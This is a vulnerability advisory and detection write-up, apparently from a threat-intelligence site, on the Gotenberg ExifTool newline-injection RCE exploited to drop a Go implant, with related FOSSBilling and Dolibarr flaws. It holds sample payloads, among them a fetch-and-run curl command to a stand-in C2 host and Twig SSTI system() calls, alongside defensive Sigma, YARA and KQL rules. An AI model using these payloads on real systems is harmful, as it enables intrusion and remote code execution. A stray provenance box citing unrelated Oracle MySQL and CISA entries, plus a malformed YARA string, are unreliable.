CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool Newline Argument Injection RCE Exploited in the Wild (cache_base Go Implant) & Companion RCE Chains in FOSSBilling & Dolibarr ERP/CRM (CVE-2026-28496, CVE-2026-116219, CVE-2026-116218)
Critical active in-the-wild exploitation and pre-authentication RCE cluster published by VulnCheck Initial Access Intelligence on October 27, 2026. Under CVE-2026-42589 (CVSS 9.8 / VulnCheck Weaponized 9.5), Gotenberg prior to version 8.31.0 passes JSON keys from the /forms/pdfengines/metadata/write endpoint directly to a persistent ExifTool process (via go-exiftool) without stripping newline characters (\n). Injecting a newline into a JSON metadata key splits the ExifTool argument stream and injects the -if option to evaluate arbitrary Perl expressions (system(...)), yielding unauthenticated single-request RCE. VulnCheck's telemetry investigation ('Cache Me If You Can') caught threat actors exploiting CVE-2026-42589 in the wild to drop a custom stripped Go reverse-shell implant named cache_base (/home/ubuntu/cache_base.go). Analyzed alongside FOSSBilling (< 0.8.0) pre-authentication RCE chaining a missing 'throw' statement in the API router with unsandboxed Twig SSTI (CVE-2026-28496), and Dolibarr ERP/CRM OS command injection via mysqldump in htdocs/admin/tools/export.php (< 24.0.0, CVE-2026-116219) and SQL injection via the bankaccounts REST API type field (19.0.0 before 23.0.4, CVE-2026-116218).
HERMES THREAT SCORE & IN-THE-WILD DOCUMENT ENGINE / ERP RCE EVALUATION
Target:Gotenberg /forms/pdfengines/metadata/write (go-exiftool), FOSSBilling API Router & Twig Engine & Dolibarr export.php (mysqldump) / bankaccounts API Standard CVSS v3.1 metrics score CVE-2026-42589 and CVE-2026-28496 at 9.8 (Critical), while VulnCheck flags the entire clusterโincluding Dolibarr CVE-2026-116219 and CVE-2026-116218โat 9.5 (Weaponized). The Hermes Threat Score assigns 98 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 92 (CRITICAL). Gotenberg is widely deployed as a stateless Docker microservice for PDF conversion and metadata manipulation across enterprise applications and AI document-generation pipelines. Because /forms/pdfengines/metadata/write passes JSON metadata keys to a persistent ExifTool process (-stay_open True -@ -) without rejecting newline characters, a single multipart POST request containing a '\n-if\n' Perl evaluation payload achieves immediate unauthenticated RCEโactively exploited in the wild to drop the 'cache_base' Go implant. Paired with FOSSBilling's missing-'throw' API router authentication bypass + Twig SSTI pre-auth RCE chain (CVE-2026-28496) and Dolibarr ERP/CRM's restrict_os_commands bypass via mysqldump (CVE-2026-116219) and bankaccounts SQLi (CVE-2026-116218), this cluster represents an active initial-access emergency.
CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool Newline Argument Injection RCE Exploited in the Wild (cache_base Go Implant) & Companion RCE Chains in FOSSBilling & Dolibarr ERP/CRM (CVE-2026-28496, CVE-2026-116219, CVE-2026-116218)VULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 27, 2026, VulnCheck Initial Access Intelligence published two major exploit-intelligence deep dives and two companion ERP/CRM advisories detailing active in-the-wild exploitation of containerized PDF engines (Gotenberg), pre-authentication RCE chains in hosting/billing automation (FOSSBilling), and command/SQL injection in enterprise ERP/CRM systems (Dolibarr):
- CVE-2026-42589 (
CWE-88/CWE-78, CVSS 9.8 Critical / VulnCheck 9.5 Exploited in the Wild โ Gotenberg< 8.31.0ExifTool Newline Argument Injection RCE &cache_baseGo Implant): Gotenberg (gotenberg/gotenberg), the ubiquitous Docker-powered stateless API for converting HTML, Markdown, and Office documents to PDF, exposes/forms/pdfengines/metadata/writeto write XMP/PDF metadata via ExifTool (barasher/go-exiftool). Prior to8.31.0, Gotenberg formatted each key-value pair from the callerโsmetadataJSON form field as-<key>=<value>and wrote it to the persistentexiftool -stay_open True -@ -stdin pipe without validating or rejecting newline characters (\n,0x0a) in JSON keys. By embedding\n-if\n<Perl_Expression>\ninside a JSON key, an unauthenticated remote attacker injects the ExifTool-ifflag, which evaluates arbitrary Perl code (system(...)) on the host container. In โCache Me If You Can: Unpacking a Go Implant and Its Toolkitโ, VulnCheck documented real-world threat actors exploitingCVE-2026-42589to deploy a stripped Go reverse shell and post-exploitation implant namedcache_base(compiled from/home/ubuntu/cache_base.go). - CVE-2026-28496 (
CWE-287/CWE-1336, CVSS 9.8 Critical / VulnCheck 9.5 Weaponized โ FOSSBilling< 0.8.0Missing-throwAuth Bypass & Twig SSTI to Unauthenticated RCE): In FOSSBilling (FOSSBilling/FOSSBilling) prior to0.8.0, the API request dispatcher instantiated an authentication exception (new \FOSSBilling\InformationException(...)) when verifying role permissions without thethrowkeyword, causing authentication checks to silently succeed. Chaining this authentication bypass with an unsandboxed Twig Server-Side Template Injection (SSTI) primitive allows an unauthenticated attacker to access the Pimple Dependency Injection container ({{ di }}), execute arbitrary SQL queries, extract administrator credentials, and upload a malicious extension to achieve full Remote Code Execution. - CVE-2026-116219 & CVE-2026-116218 (
CWE-78/CWE-89, VulnCheck 9.5 Weaponized โ Dolibarr ERP/CRM< 24.0.0OS Command Injection viamysqldump&19.0.0before23.0.4SQL Injection viabankaccountsAPI): In Dolibarr ERP/CRM (Dolibarr/dolibarr),htdocs/admin/tools/export.phpprior to24.0.0allows bypassing therestrict_os_commandsallowlist by injecting shell metacharacters or argument chains through themysqldumpbackup binary parameter (CVE-2026-116219), while the REST API endpoint for third-partybankaccounts(19.0.0before23.0.4) concatenates thetypefield directly into a SQL query (CVE-2026-116218).
Technical Root Cause Analysis & Code Dissection
Section titled โTechnical Root Cause Analysis & Code Dissectionโ1. CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool -stay_open Newline Argument Injection
Section titled โ1. CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool -stay_open Newline Argument InjectionโWhen an HTTP client sends a multipart/form-data POST request to /forms/pdfengines/metadata/write with a PDF file and a metadata JSON string, Gotenbergโs pdfengines module parses the JSON object into a map[string]interface{} and passes each key-value pair to go-exiftool. Under the hood, go-exiftool communicates with a long-running exiftool -stay_open True -@ - subprocess by writing one CLI flag per line to stdin, terminated by -execute\n:
// VULNERABLE PATTERN: Gotenberg < 8.31.0 (CVE-2026-42589)// Component: pkg/modules/pdfengines / go-exiftool Metadata Writerpackage pdfengines
import ( "encoding/json" "fmt")
func buildExifToolArgs(metadataJSON []byte, pdfPath string) ([]string, error) { var metadata map[string]interface{} if err := json.Unmarshal(metadataJSON, &metadata); err != nil { return nil, err }
var args []string for key, val := range metadata { // FLAW (CWE-88): `key` is not validated against newline ('\n' / '\r') characters! // When written to `exiftool -stay_open True -@ -`, each '\n' starts a brand-new CLI argument. // Payload key: "Author=Hermes\n-if\n${eval(system('curl -fsSL http://c2/cache_base -o /tmp/cb && chmod +x /tmp/cb && /tmp/cb'))}\n-Title" args = append(args, fmt.Sprintf("-%s=%v", key, val)) } args = append(args, pdfPath) return args, nil}When ExifTool reads the newline-split stream from -@ -, it encounters:
-Author=Hermes-if${eval(system('...'))}-Title=test/tmp/input.pdf-executeExifTool evaluates the -if expression as Perl code for every processed file, executing arbitrary OS commands as the gotenberg container user before version 8.31.0 enforced strict character validation on metadata keys.
2. CVE-2026-28496: FOSSBilling (< 0.8.0) Missing throw Authentication Bypass to Twig SSTI RCE
Section titled โ2. CVE-2026-28496: FOSSBilling (< 0.8.0) Missing throw Authentication Bypass to Twig SSTI RCEโIn FOSSBilling prior to 0.8.0, the API router inspected whether a request targeting a protected endpoint had a valid authenticated session. Due to a critical coding omission, the developer instantiated the exception object without throwing it:
<?php// VULNERABLE PATTERN: FOSSBilling < 0.8.0 (CVE-2026-28496)// Stage 1: API Router Authentication Bypass (Missing `throw` keyword โ CWE-287)namespace FOSSBilling;
class ApiRouter { public function checkPermission(string $role): void { if (!$this->isAuthenticated($role)) { // CRITICAL BUG: Missing `throw` keyword! // Instantiates the Exception object and immediately discards it, allowing // unauthenticated requests to proceed into protected API controllers! new InformationException('You do not have permission to access this API endpoint', [], 403); } }}
// Stage 2: Unsandboxed Twig Server-Side Template Injection (CWE-1336)// Once inside the API, the attacker renders an attacker-controlled template string via Twig// where the full Pimple Dependency Injection container (`$di`) is exposed in the template context:// Payload: {{ di['db'].exec("INSERT INTO admin ...") }} or {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}3. CVE-2026-116219 & CVE-2026-116218: Dolibarr ERP/CRM mysqldump Command Injection & bankaccounts SQLi
Section titled โ3. CVE-2026-116219 & CVE-2026-116218: Dolibarr ERP/CRM mysqldump Command Injection & bankaccounts SQLiโCVE-2026-116219(htdocs/admin/tools/export.php,< 24.0.0): When generating a MySQL/MariaDB database backup, Dolibarr constructs a command line using the configuredmysqldumppath/parameter. Even when Dolibarrโsrestrict_os_commandsdefense is active, insufficient sanitization of arguments appended to themysqldumpinvocation allows command chaining or arbitrary file write/execution.CVE-2026-116218(REST APIbankaccounts,>= 19.0.0, < 23.0.4): In the third-party bank accounts API handler, thetypeparameter is interpolated into the SQL filter clause without integer casting ordb->escape(), permitting authenticated API users with basicsocietepermissions to extract arbitrary database tables via SQL injection.
flowchart TD subgraph GotenbergWild["CVE-2026-42589: Gotenberg (< 8.31.0) In-The-Wild RCE ('Cache Me If You Can')"] G1["Unauthenticated POST /forms/pdfengines/metadata/write"] G2["JSON Metadata Key Contains '\\n-if\\n' Perl Eval Payload"] G3["go-exiftool Writes Unsanitized Lines to 'exiftool -stay_open True -@ -'"] G4["Perl system() Drops & Executes Stripped Go Implant 'cache_base' (/home/ubuntu/cache_base.go)"] G1 --> G2 --> G3 --> G4 end
subgraph FOSSDolibarr["CVE-2026-28496 (FOSSBilling < 0.8.0) & CVE-2026-116219 / 116218 (Dolibarr)"] B1["CVE-2026-28496: Missing 'throw' Before new InformationException() in FOSSBilling API"] B2["Unauthenticated Access to Twig Renderer -> SSTI Accessing {{ di }} -> Pre-Auth RCE"] D1["CVE-2026-116219: Dolibarr export.php mysqldump restrict_os_commands Bypass -> OS RCE"] D2["CVE-2026-116218: Dolibarr REST API bankaccounts Unescaped 'type' Field -> SQLi"] B1 --> B2 end
style G3 fill:#ff1a1a,stroke:#800000,color:#ffffff style G4 fill:#ff4d4d,stroke:#990000,color:#ffffff style B1 fill:#ff6600,stroke:#993300,color:#ffffff style B2 fill:#ff1a1a,stroke:#800000,color:#ffffffForensic Analysis & Detection Engineering
Section titled โForensic Analysis & Detection EngineeringโTo detect active exploitation of Gotenberg CVE-2026-42589 and the cache_base Go implant, FOSSBilling CVE-2026-28496, and Dolibarr CVE-2026-116219 / CVE-2026-116218, deploy the following multi-layered detection suite:
title: Gotenberg ExifTool RCE (CVE-2026-42589 / cache_base Implant) & Dolibarr mysqldump Command Injection (CVE-2026-116219)id: 42589a11-2026-4b99-8c33-gotenbergcache27status: experimentaldescription: Detects perl/exiftool spawning shell or network utilities inside Gotenberg containers, execution of the 'cache_base' Go implant (/home/ubuntu/cache_base.go), or anomalous mysqldump child processes in Dolibarr ERP/CRM.references: - https://vulncheck.com/blog/cache-me-if-you-can - https://vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce - https://vulncheck.com/advisories/dolibarr-erp-crm-before-24.0.0-os-command-injection-via-mysqldump-parameterauthor: Hermes Threat Intelligencedate: 2026/10/27logsource: category: process_creation product: linuxdetection: selection_exiftool_rce: ParentImage|endswith: - '/exiftool' - '/perl' Image|endswith: - '/sh' - '/bash' - '/dash' - '/curl' - '/wget' - '/cache_base' selection_cache_base_implant: Image|contains: 'cache_base' condition: selection_exiftool_rce or selection_cache_base_implantfalsepositives: - None expected; ExifTool inside Gotenberg should never spawn interactive shells or curl/wgetlevel: criticaltags: - attack.initial_access - attack.execution - attack.t1190 - attack.t1059.004 - cve.2026-42589 - cve.2026-28496 - cve.2026-116219 - cve.2026-116218rule Hermes_Go_Implant_CacheBase_CVE_2026_42589 { meta: description = "Detects the stripped Go implant 'cache_base' deployed in Gotenberg CVE-2026-42589 attacks ('Cache Me If You Can')" author = "Hermes Threat Intelligence" reference = "https://vulncheck.com/blog/cache-me-if-you-can" date = "2026-10-27" severity = "CRITICAL" strings: $go_buildinfo = "Go buildinf:" ascii $src_path1 = "/home/ubuntu/cache_base.go" ascii $src_path2 = "cache_base.go" ascii $exif_ route = "/forms/pdfengines/metadata/write" ascii condition: uint32(0) == 0x464c457f and $go_buildinfo and ($src_path1 or $src_path2 or $exif_route)}// Azure Sentinel / Defender KQL: Hunt for Gotenberg CVE-2026-42589, FOSSBilling CVE-2026-28496 & Dolibarr CVE-2026-116218/116219AppServiceHTTPLogs| where TimeGenerated > ago(24h)| where (CsUriStem has "/forms/pdfengines/metadata/write") or (CsUriStem has "/api/admin/" and ScStatus == 200) or (CsUriStem has "/admin/tools/export.php") or (CsUriStem has "/api/index.php/thirdparties" and CsUriStem has "bankaccounts")| project TimeGenerated, _ResourceId, CsMethod, CsUriStem, CsUriQuery, CIp, ScStatus, UserAgent#!/usr/bin/env bash# Hermes Forensic Triage Script for Gotenberg (CVE-2026-42589), FOSSBilling (CVE-2026-28496) & Dolibarrset -euo pipefail
echo "[*] 1. Checking running Gotenberg containers and scanning /tmp /var/tmp for 'cache_base' Go implant..."docker ps --filter "ancestor=gotenberg/gotenberg" --format "{{.ID}} {{.Image}} {{.Status}}" 2>/dev/null || truegrep -rn "cache_base\.go" /tmp /var/tmp /dev/shm 2>/dev/null || true
echo "[*] 2. Checking FOSSBilling version (< 0.8.0 vulnerable to CVE-2026-28496)..."grep -rn "0\.8\." src/FOSSBilling/Version.php 2>/dev/null || true
echo "[*] 3. Checking Dolibarr version (< 24.0.0 / < 23.0.4 vulnerable to CVE-2026-116219 / CVE-2026-116218)..."grep -rn "DOL_VERSION" htdocs/filefunc.inc.php 2>/dev/null || trueRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ- Upgrade Gotenberg to
>= 8.31.0& Isolate Container Egress (CVE-2026-42589):- Immediately update all Gotenberg container images to
gotenberg/gotenberg:8.31.0or later, which strictly validates metadata keys and rejects newline/control characters before invokinggo-exiftool. - Never expose Gotenberg (
port 3000) directly to the public Internet; bind it to an internal service mesh with authentication and restrict outbound container egress (--network/ KubernetesNetworkPolicy) soexiftoolcannot initiate external C2 connections. - Scan existing Gotenberg hosts and
/tmp,/var/tmp, and/dev/shmfor thecache_baseGo binary (/home/ubuntu/cache_base.go).
- Immediately update all Gotenberg container images to
- Upgrade FOSSBilling to
>= 0.8.0(CVE-2026-28496):- Upgrade FOSSBilling to version
0.8.0or later to restore the missingthrowstatement in the API authentication dispatcher and sandbox Twig template rendering.
- Upgrade FOSSBilling to version
- Upgrade Dolibarr ERP/CRM to
>= 23.0.4/>= 24.0.0(CVE-2026-116218,CVE-2026-116219):- Upgrade Dolibarr ERP/CRM to
23.0.4(to remediate thebankaccountsREST APItypeSQL injection,CVE-2026-116218) and24.0.0(to remediate themysqldumpOS command injection inhtdocs/admin/tools/export.php,CVE-2026-116219).
- Upgrade Dolibarr ERP/CRM to